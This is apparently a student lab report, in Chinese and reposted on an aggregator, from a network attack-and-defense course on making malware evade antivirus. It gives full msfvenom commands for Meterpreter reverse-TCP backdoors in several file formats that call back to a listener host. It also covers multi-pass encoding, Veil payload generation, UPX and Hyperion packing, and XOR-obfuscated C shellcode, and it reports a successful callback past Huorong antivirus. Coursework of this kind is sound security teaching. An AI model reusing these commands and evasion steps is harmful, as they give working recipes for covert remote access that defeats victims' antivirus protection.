20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告

news/2025/1/18 10:50:39/文章来源:https://www.cnblogs.com/wwwyg/p/18516362

20222412 2024-2025-1 《网络与系统攻防技术》实验三实验报告

1.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀

如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2.实验要求

  • 掌握免杀原理与技术

  • 回答问题

    (1)杀软是如何检测出恶意代码的?

    • 基于特征码的检测:杀毒软件会维护一个病毒库,里面包含了大量已知恶意软件的特征码(通常是一段唯一的字节序列)。当扫描文件时,如果发现文件中包含与病毒库中相匹配的特征码,就会将其标记为恶意代码。
    • 启发式恶意软件检测:这种方法不依赖于特定的特征码,而是通过分析程序的行为、代码结构等特征来判断其是否具有恶意性。如果一个程序的行为或代码结构与已知的恶意软件相似,就会被判定为恶意代码。
    • 基于行为的检测:这种检测方式侧重于监控程序的运行时行为,如文件操作、注册表修改、网络连接等。如果程序表现出可疑的行为,如未经授权的文件访问或修改,就会被标记为恶意代码。

    (2)免杀是做什么?

    • 免杀,是一种使恶意软件能够逃避杀毒软件检测的技术。它通过各种手段改变恶意软件的代码或行为,使其不再符合杀毒软件的检测标准,从而避免被查杀。

    (3)免杀的基本方法有哪些?

    • 修改特征码:通过改变恶意软件中的特定字节序列(特征码),使其不再与杀毒软件的病毒库中的记录相匹配。
    • 加壳:给恶意软件加上一个外壳,使其在运行时先执行外壳代码,再执行恶意代码。这样,杀毒软件就很难直接检测到恶意代码的存在。
    • 编码和加密:对恶意代码进行编码或加密,使其在静态分析时难以被识别。只有在运行时才会解密并执行。
    • 混淆和伪装:通过添加垃圾代码、改变程序结构等方式,使恶意软件的代码变得难以理解,从而增加杀毒软件的检测难度。
    • 利用漏洞:利用操作系统或应用程序的漏洞来执行恶意代码,这些漏洞可能尚未被杀毒软件所知晓或无法有效防御。
    • 社工攻击:通过社会工程学手段诱骗用户关闭杀毒软件或执行恶意软件。

3.实验过程

3.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

3.1.1 使用msf工具生成.exe后门程序

使用指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_1.exe

生成后门程序,如下。

将生成的后门程序放入virustotal进行评估,查看免杀效果,如下。

可以看到,免杀效果为58/71,以此为基准,与后续进行免杀处理后的文件进行对比
使用指令

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_2.exe

  • -e x86/shikata_ga_nai: 使用 Shikata Ga Nai 编码器对生成的有效载荷进行编码,以提高其绕过防病毒软件的能力。Shikata Ga Nai 是一种多态性编码技术。
  • -b '\x00': 指定需要避免的字节序列,这里表示避免包含空字节(\x00)。这通常用于确保生成的代码在某些环境中能够正确执行。

执行指令如下

进行免杀效果检测,如下。

可以看到被检出的概率为59/71,相比之下,差距不大,由此看以看出,该种加密方式,在现如今效果并不浩。

尝试,对后门程序多次编码,进行测试。指令如下。

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' LHOST=192.168.191.130 LPORT=2412 -f exe > 20222412_3.exe

此处,使用-i 12表示对其进行12此编码。

再次,检测免杀效果,如下。

可以看到,此时被检出的概率依旧为59/71,由此可以看出,对于多次编码的技术,现阶段已有完善的的防御手段。

3.1.2 使用msf工具生成其他格式后门程序

分别使用指令,生成.jar文件、.php文件、.py文件以及.apk文件作为后门程序,用以测试不同格式下的免杀效果。具体情况如下。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f jar > 20222412.jar

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.php

msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f py > 20222412.py

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 x > 20222412.apk

综合以上所有文件格式查杀效果,可以看出,不同格式文件对查杀效果有显著影响,其中.py格式的文件免杀效果最好。

3.1.3 使用veil工具生成后门程序

配置veil,使用以下指令即可安装veil,并配置所需环境

sudo apt -y install veil

usr/share/veil/config/setup.sh --force --silent

进入veil工具界面,使用指令use 1,输入list查看载荷c/meterpreter/rev_tcp对应序号为7.

使用指令use 7,选择载荷c/meterpreter/rev_tcp,并设置接口与ip地址。输入generate生成后门程序如下。

设置完成文件名,可以看到文件所在路径如下。

对该文件进行免杀效果测试,如下。

可以看到,查杀率为44/72,相比于使用msf工具生成的后门程序,查杀概论更低了。

3.1.4 使用加壳的方式实现免杀

使用指令

upx 20222412_1.exe -o 20222412_upx.exe

实现对该文件的压缩加壳。

可以看到查杀率为54/71,相较于未加压缩壳时,提升较小。

使用以下指令对该文件使用加密壳。

将待加密文件放到工作目录下

cp 20222412_1.exe /usr/share/windows-resources/hyperion/

进入工作目录

cd /usr/share/windows-resources/hyperion/

加密文件
wine hyperion.exe -v 20222412_1.exe 20222412_hyp.exe

进行免杀检测,如下。

可以看到相较于压缩壳,加密壳更加难以查杀,但仍然无法有效的免杀。

3.1.5采用 C+shellcode来试图实现免杀

输入指令

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.191.130 LPORT=2412 -f c

获取shellcode编码。

使用vi编译器编译文件20222412_c.c,并将生成的shellcode插入该文件。

输入

gcc 20222412_c.c -o 20222412_c.exe

将编译生成的20222411_c.exe文件并传至主机

对该文件进行免杀效果检测。

可以看到使用该项技术可以明显提升免杀成功的概率。

3.2 通过组合应用各种技术实现恶意代码免杀

经查阅多方资料,结合多篇文章,先采用如下免杀技术,用于躲避火绒的查杀。

在使用c和shellcode编码的基础上增加异或操作,具体操作如下。

将msf生成的后门使用如下c程序进行异或操作,编译运行后,将异或后的代码存入202222412_shellcode.txt文件。

可以看到异或后的代码如下。

将异或后的代码插入c程序并编译。

该后门程序上传至VirusTotal检测,可以看到此程序效果极佳。

使用查杀软件查杀,如下。

3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

将上面逃脱查杀的文件在windows下运行。

这里存在一个问题需要使用工具才能成功运行shellcode_launcher。

运行后可以看到msf工具成功与被攻击电脑连接。

4.问题及解决方案

  • 问题:上传到被攻击主机上的绝大多数通过加密后的文件都无法正常运行
  • 问题解决方案:通过查阅资料,可以使用shellcode_launcher工具加载和执行Shellcode的软件或代码片段。

5.学习感悟、思考等

在这次实验中,我深入学习并实践了多种免杀技术,包括使用MSF编码器、Veil-Evasion以及自行编写Shellcode等方法。通过这些工具和技术的组合应用,我成功地实现了恶意代码的免杀效果。在此过程中,我有以下几点心得体会。

在尝试各种免杀技术之前,深入理解每种技术的工作原理是非常重要的。例如,了解特征码是如何被杀毒软件识别的,以及如何通过修改特征码来绕过检测。

理论知识需要通过实际操作来验证。在实验中,我发现有些理论上可行的方法在实践中并不总是有效,这要求我们不断尝试和调整策略。

单一的免杀技术往往容易被杀毒软件识破,而将多种技术组合起来使用则能显著提高免杀成功率。例如,先对Shellcode进行编码处理,再加上壳,最后通过混淆技术进一步伪装。

随着杀毒软件的不断升级,免杀技术也需要不断更新。保持对最新安全动态的关注,及时学习和掌握新的免杀技巧是必要的。

本次使用中第二个任务尤为艰难,因为,我们所使用的是最基本的后门程序生成工具,msf中的绝大多数特征码已经被现代的杀毒软件获取,尤其是加壳,可以从实验中看到,加壳后的文件反而更容易被发现。我所使用的异或操作其实本质上就是改变甚至消除特征码,除我所使用的方法,还有几种思路值得尝试,例如花指令等,但究其根本就是让杀毒软件认不出你的shellcode。

不过上述方法还存在缺陷,对于基于沙盒的免杀技术就比较难以实现,我认为解决思路可以增加任务触发shellcode,但不能是使用例如开机自启动这种比较容易发现的任务。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/824275.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Feign失败重试与全局异常捕获

feign注册 spring加载的时候通过@EnableFeignClients的FeignClientsRegistrar注册扫描所以得FeignClient以及Configuration,最终注册为ReflectiveFeign,最终通过代理类FeignInvocationHandler实现方法的调用,在 FeignInvocationHandler中通过SynchronousMethodHandler方法执…

地下工程和深基坑监测预警系统建设方案

随着城市化进程的加快,地下工程和深基坑工程在城市建设中扮演着越来越重要的角色。这些工程的安全性直接关系到人民生命财产的安全和城市的正常运行。因此,建立一个科学、有效的地下工程和深基坑监测预警系统至关重要。 一、系统建设的必要性地下工程和深基坑工程在施工过程中…

25. 深浅拷贝

一、什么是浅拷贝只对对象的最顶层进行的拷贝称为 浅拷贝。我们可以用 copy 模块中的 copy() 方法实现浅拷贝。import copya = [11, 22, 33] b = [44, 55, 66] c = [a, b] d = copy.copy(c)print(f"c: {c}") print(f"d: {d}") print(f"c == d: {c == …

为什么我越来越喜欢用DDD — DDD架构篇(1)

Hello DDDDDD 是一种软件设计方法,DDD 是指导我们做软件工程设计的一种手段。它提供了用切割工程模型的各类技巧,如;领域、界限上下文、实体、值对象、聚合、工厂、仓储等。通过 DDD 的指导思想,我们可以在前期投入更多的时间,更加合理的规划出可持续迭代的工程设计。 在D…

SpringBoot3.0整合Mybatis-plus实现多数据源(重构类方式)

背景 前段时间在做一个数据中台的项目,系统用到了不同数据库中的数据。自己又不想手写JDBC连接,既然我有这个需求,那功能应该有人实现了,于是开始了网上搜了,搜索后发现基本都是讲读写分离、主备切换的,后面也查略了Mybatis-plus的官网,里面有这个功能,但好像是我组件的…

58. 区间和

题目 本人一开始是这样写的: #include <iostream>using namespace std;const int N = 100010; int n; int s[N];int main() {cin >> n;for (int i = 1; i <= n; i ++ ){int x;cin >> x;s[i] = s[i - 1] + x;}int l = 0, r = 0;while (cin >> l &am…

cin和scanf的返回值知多少

cin的返回值 在 C++ 中,cin 是用于从标准输入(通常是键盘)读取数据的对象。 cin 的返回值实际上是一个流对象(std::istream 类型),可以通过流的状态来检查输入操作是否成功。 以下是一些关于 cin 返回值的关键点:输入成功与失败: 当你使用 cin 进行输入时,可以通过 ci…

多语言 AI 翻译 API 数据接口

多语言 AI 翻译 API 数据接口 ai / 翻译 基于 AI 多语言模型 支持多语言 / 基于模型。1. 产品功能基于自有专业模型进行 AI 多语言翻译 高效的文本翻译性能 全接口支持 HTTPS(TLS v1.0 / v1.1 / v1.2 / v1.3); 全面兼容 Apple ATS; 全国多节点 CDN 部署; 接口极速响应,多…

个人可识别信息(PII) AI 去除 API 数据接口

个人可识别信息(PII) AI 去除 API 数据接口 ai / 隐私保护 基于 AI 模型自动去除个人识别信息(PII) 个人信息保护 / AI 模型 。1. 产品功能基于自有专业模型进行 PII 自动去除 高效处理敏感信息 全接口支持 HTTPS(TLS v1.0 / v1.1 / v1.2 / v1.3); 全面兼容 Apple ATS; 全…

MBR20100CT-ASEMI半塑封肖特基二极管MBR20100CT

MBR20100CT-ASEMI半塑封肖特基二极管MBR20100CT编辑:ll MBR20100CT-ASEMI半塑封肖特基二极管MBR20100CT 型号:MBR20100CT 品牌:ASEMI 封装:TO-220 安装方式:插件 批号:最新 最大平均正向电流(IF):20A 最大循环峰值反向电压(VRRM):100V 最大正向电压(VF):0.70V~0…

第三十讲:误删数据后除了跑路,还能怎么办?

第三十讲:误删数据后除了跑路,还能怎么办? 简概还是平淡的开头 ​ 今天我要和你讨论的是一个沉重的话题:误删数据。 ​ 在前面几篇文章中,我们介绍了 MySQL 的高可用架构。 ​ 当然,传统的高可用架构是不能预防误删数据的,因为主库的一个 drop table 命令,会通过 binlo…